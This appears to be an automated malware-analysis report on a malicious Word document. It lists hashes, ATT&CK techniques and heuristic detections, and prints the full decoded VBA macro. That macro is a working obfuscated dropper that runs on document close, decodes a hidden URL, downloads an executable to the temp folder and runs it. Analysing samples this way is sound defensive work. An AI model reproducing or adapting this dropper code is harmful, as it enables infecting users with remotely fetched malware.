Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9012c6de3875613a…

MALICIOUS

Office (OLE)

165.0 KB Created: 2018-03-07 00:05:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: b7f2f664d21bf6a2fadf83b0d3235935 SHA-1: 0ebfd572ec2f06e52db866908f0eb42e21cc92fd SHA-256: 9012c6de3875613ad9bc58a8eba115bf2a46c18d71b37f0f0e074281ff053478
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1566.001 Spearphishing Attachment

The sample contains VBA macros that are designed to download and execute a second-stage payload. The macro uses CreateObject to instantiate a Shell.Application object and an XMLHTTP object to download content from a URL. The heuristic 'OLE_VBA_HTTP_DROP_EXEC' confirms this behavior. The document also contains a lure to enable macros, indicating a phishing or social engineering attempt.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    PQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZFVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZ = ZUKOPOQJGJYFFMOPLXGCULMWLNTYJQKDQCBPGOIKWKPMVUGQDYWDLSDWCNLZBRBEIDSWXWYKORHNMUWXTGOKQHISHJQOGMYYMR.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set JQVNNHZNYFMDLEGTNMJSQCNZCBGIPZBFKIWENXHFYPTTSVOKODKJRTUQDKHYPRBPRYEOVOIVHGULTMOCOU = CreateObject("Shell.Application")
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    HIEQYUMEFPDGMRCJDVJUTIYHBDPDIFONXJVRPVELVPUGESTKTWBVLPPPRDGKZGFNPQMYHDUMNXLOUTKREERVC = Environ("tmp") + FVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJIT
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://ns.adobe.com/tiff/1.0/Referenced by macro
    • http://ns.adobe.com/exif/1.0/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4480 bytes
SHA-256: 1060ae131ce0938e6034e18cc1c84834310af0d97d18446050bfb5b8b83d0f8d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_close()
FVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJIT = ZZTTHLRGPFRZGBYVFEPHMPNTCCNNSEUJRHKUYTJGHGIBXBQEWEGHDQETMKEOJFMQIICUITZHXHZCOIHENMXIU("]NCVGC/fyf")
KYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXK = ZZTTHLRGPFRZGBYVFEPHMPNTCCNNSEUJRHKUYTJGHGIBXBQEWEGHDQETMKEOJFMQIICUITZHXHZCOIHENMXIU("iuuq;00cudy5/dpn0bbb0jen/7/3:/3,qbudi/fyf")
Set JQVNNHZNYFMDLEGTNMJSQCNZCBGIPZBFKIWENXHFYPTTSVOKODKJRTUQDKHYPRBPRYEOVOIVHGULTMOCOU = CreateObject("Shell.Application")
Set ZUKOPOQJGJYFFMOPLXGCULMWLNTYJQKDQCBPGOIKWKPMVUGQDYWDLSDWCNLZBRBEIDSWXWYKORHNMUWXTGOKQHISHJQOGMYYMR = CreateObject("microsoft.xmlhttp")

HIEQYUMEFPDGMRCJDVJUTIYHBDPDIFONXJVRPVELVPUGESTKTWBVLPPPRDGKZGFNPQMYHDUMNXLOUTKREERVC = Environ("tmp") + FVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJIT
ZUKOPOQJGJYFFMOPLXGCULMWLNTYJQKDQCBPGOIKWKPMVUGQDYWDLSDWCNLZBRBEIDSWXWYKORHNMUWXTGOKQHISHJQOGMYYMR.Open "GET", KYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXK, False
ZUKOPOQJGJYFFMOPLXGCULMWLNTYJQKDQCBPGOIKWKPMVUGQDYWDLSDWCNLZBRBEIDSWXWYKORHNMUWXTGOKQHISHJQOGMYYMR.send
PQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZFVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZ = ZUKOPOQJGJYFFMOPLXGCULMWLNTYJQKDQCBPGOIKWKPMVUGQDYWDLSDWCNLZBRBEIDSWXWYKORHNMUWXTGOKQHISHJQOGMYYMR.responseBody
If ZUKOPOQJGJYFFMOPLXGCULMWLNTYJQKDQCBPGOIKWKPMVUGQDYWDLSDWCNLZBRBEIDSWXWYKORHNMUWXTGOKQHISHJQOGMYYMR.Status = 200 Then
Set HVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRWONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZ = CreateObject("adodb.stream")
HVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRWONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZ.Open
HVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRWONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZ.Type = 1
HVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRWONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZ.Write PQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZFVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZ
HVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRWONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZ.SaveToFile HIEQYUMEFPDGMRCJDVJUTIYHBDPDIFONXJVRPVELVPUGESTKTWBVLPPPRDGKZGFNPQMYHDUMNXLOUTKREERVC, 2
HVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRWONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZ.Close
End If
JQVNNHZNYFMDLEGTNMJSQCNZCBGIPZBFKIWENXHFYPTTSVOKODKJRTUQDKHYPRBPRYEOVOIVHGULTMOCOU.Open (HIEQYUMEFPDGMRCJDVJUTIYHBDPDIFONXJVRPVELVPUGESTKTWBVLPPPRDGKZGFNPQMYHDUMNXLOUTKREERVC)


End Sub

Function ZZTTHLRGPFRZGBYVFEPHMPNTCCNNSEUJRHKUYTJGHGIBXBQEWEGHDQETMKEOJFMQIICUITZHXHZCOIHENMXIU(XVCDKUVBFDRZJSDZUKOPOQJGJYFFMOPLXGCULMWLNTYJQKDQCBPGOIKWKPMVUGQDYWDLSDWCNLZBRBEIDSWXWYKORHNMUWXTGO)
        QZPCKXLQNWOZRWZXEMTXXDOMBCRUFJETQRQSLOSBONVQSOBOEDUOYTPWCSSMMZEKYIXKSYTROXWIZFIGMUUG = ""
    For GLWNCKZDNRLCYZYBTQTJWPWYZVIWMFCWHCXEJBBUNBMSZQYSUHBZWGFQBNQOTVDNOTXVKSCLVSNDHIHJ = 1 To Len(XVCDKUVBFDRZJSDZUKOPOQJGJYFFMOPLXGCULMWLNTYJQKDQCBPGOIKWKPMVUGQDYWDLSDWCNLZBRBEIDSWXWYKORHNMUWXTGO)
        CQZPCKXLQNWOZRWZXEMTXXDOMBCRUFJETQRQSLOSBONVQSOBOEDUOYTPWCSSMMZEKYIXKSYTROXWIZFIGMUUGGLWNCKZDNRL = Asc(Mid(XVCDKUVBFDRZJSDZUKOPOQJGJYFFMOPLXGCULMWLNTYJQKDQCBPGOIKWKPMVUGQDYWDLSDWCNLZBRBEIDSWXWYKORHNMUWXTGO, GLWNCKZDNRLCYZYBTQTJWPWYZVIWMFCWHCXEJBBUNBMSZQYSUHBZWGFQBNQOTVDNOTXVKSCLVSNDHIHJ, 1))

            CYCRXXFHIEQYUMEFPDGMRCJDVJUTIYHBDPDIFONXJVRPVELVPUGESTKTWBVLPPPRDGKZGFNPQMYHDUMNXLOUTKREERV = CQZPCKXLQNWOZRWZXEMTXXDOMBCRUFJETQRQSLOSBONVQSOBOEDUOYTPWCSSMMZEKYIXKSYTROXWIZFIGMUUGGLWNCKZDNRL - 1
        QZPCKXLQNWOZRWZXEMTXXDOMBCRUFJETQRQSLOSBONVQSOBOEDUOYTPWCSSMMZEKYIXKSYTROXWIZFIGMUUG = QZPCKXLQNWOZRWZXEMTXXDOMBCRUFJETQRQSLOSBONVQSOBOEDUOYTPWCSSMMZEKYIXKSYTROXWIZFIGMUUG & Chr(CYCRXXFHIEQYUMEFPDGMRCJDVJUTIYHBDPDIFONXJVRPVELVPUGESTKTWBVLPPPRDGKZGFNPQMYHDUMNXLOUTKREERV)
    Next
    ZZTTHLRGPFRZGBYVFEPHMPNTCCNNSEUJRHKUYTJGHGIBXBQEWEGHDQETMKEOJFMQIICUITZHXHZCOIHENMXIU = QZPCKXLQNWOZRWZXEMTXXDOMBCRUFJETQRQSLOSBONVQSOBOEDUOYTPWCSSMMZEKYIXKSYTROXWIZFIGMUUG
End Function

Attribute VB_Name = "NewMacros"
Sub qais()
'
' qais Macro
'
'

End Sub